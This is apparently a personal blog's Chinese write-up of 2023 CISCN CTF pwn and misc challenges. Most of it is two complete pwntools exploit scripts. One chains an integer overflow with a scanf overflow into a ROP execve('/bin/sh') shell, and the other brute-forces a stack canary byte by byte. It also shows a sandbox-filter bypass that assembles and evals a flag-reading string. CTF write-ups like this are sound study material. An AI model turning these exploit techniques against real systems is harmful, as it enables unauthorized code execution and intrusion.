2023 ciscn pwn&misc小部分题解

Sunday, May 28, 2023
本文共1547字
4分钟阅读时长
writeup
pwn
 订阅

⚠️本文是作者P3troL1er原创，首发于https://peterliuzhi.top/writeup/2023-ciscn-pwnmisc%E5%B0%8F%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/。商业转载请联系作者获得授权，非商业转载请注明出处！

It is not so important to know everything as to appreciate what we learn. — Hannah More

[原题链接](https://buuoj.cn/challenges#2023 ciscn pwn&misc小部分题解)

对现在的我来说还是太难了……继续努力吧……只做出来一点点题目

pwn

烧烤摊儿

整形溢出得到大量金钱后收购烧烤摊，然后通过scanf("%s")的溢出来控制程序执行流

from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = True
fn: str = "./shaokao"
libc_name:str = ""
port: str = "41169"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
# env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("47.95.212.224", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        b* 0x401FAD
                        c
                        """)
    else:
        p = process(fn)
# 两个elf，注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名，是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")

sendline_after_clean("1")
sendline_after_clean("1")
sendline_after_clean("-100000")
sendline_after_clean("4")
sendline_after_clean("5")
name = 0x4E60F0
sh_str = b"/bin/sh\x00"
pop_rdi_ret = 0x000000000040264f
pop_rsi_ret = 0x000000000040a67e
pop_rdx_ret = 0x00000000004a404b
pop_rax_ret = 0x0000000000458827
syscall_ret = 0x00000000004230a6
payload = sh_str.ljust(0x28, b"\x00") + pg(pop_rsi_ret) + pg(0) + pg(pop_rdx_ret) + pg(0) + pg(0) + pg(pop_rax_ret) + pg(59) + pg(0x0000000000457014) + pg(syscall_ret)
sendline_after_clean(payload)
interactive_after_clean()

funcanary

一个字节一个字节地爆破canary，获得canary后爆破函数地址第四位

from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = True
fn: str = "./funcanary"
libc_name:str = ""
port: str = "12729"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
# env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("123.56.236.235", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        b* 0x401FAD
                        c
                        """)
    else:
        p = process(fn)
# 两个elf，注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名，是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")

cnt = 0
this_byte = 0xff
base_payload = b"a"*0x68
func_byte = 0x2


while(True):
    # payload = b"a"*0x68 + pg(cnt) + pg(0) + b"\x28\x12"
    if cnt < 8:
        payload = base_payload + p8(this_byte)
    else:
        payload = base_payload + pg(0) + p8(0x28) + p8(func_byte)
    send_after_clean(payload, no_show=False)
    received = p.clean(0.5)
    if cnt < 8:
        if b"terminated" in received:
            this_byte -= 1
            continue
        else:
            base_payload += p8(this_byte)
            this_byte = 0xff
            cnt += 1
            continue
    else:
        if b"flag" in received:
            print(received)
            interactive_after_clean()
        else:
            func_byte += 0x10

misc

签到卡

说白了就是试一试flag的路径在哪里

print(open("/flag").read())

pyshell

不知道它这个shell是怎么过滤的，一旦涉及到敏感词就会返回nop，然后调用函数括号里面好像只能写_或者什么都不写

但是它好像只是对当前的输入进行过滤，那么我们可以使用_来引用上一个变量，然后使用字符串拼接逐字符地拼出'open("/flag").read()'，然后使用eval(_)进行调用：

"o" + "p"
_ + "e"
...
_ + ")"
eval(_)

#pwn
编辑本页
下一页 SICTF PWN WriteUp

相关

【操作系统概念读书笔记】线程基础知识
【操作系统概念读书笔记】进程基础知识
Windows动态链接_基础知识
Linux动态链接_基础知识
Linux下如何在不更改系统的glibc库的同时运行需要与系统glibc库不同版本的程序？
静态链接_基础知识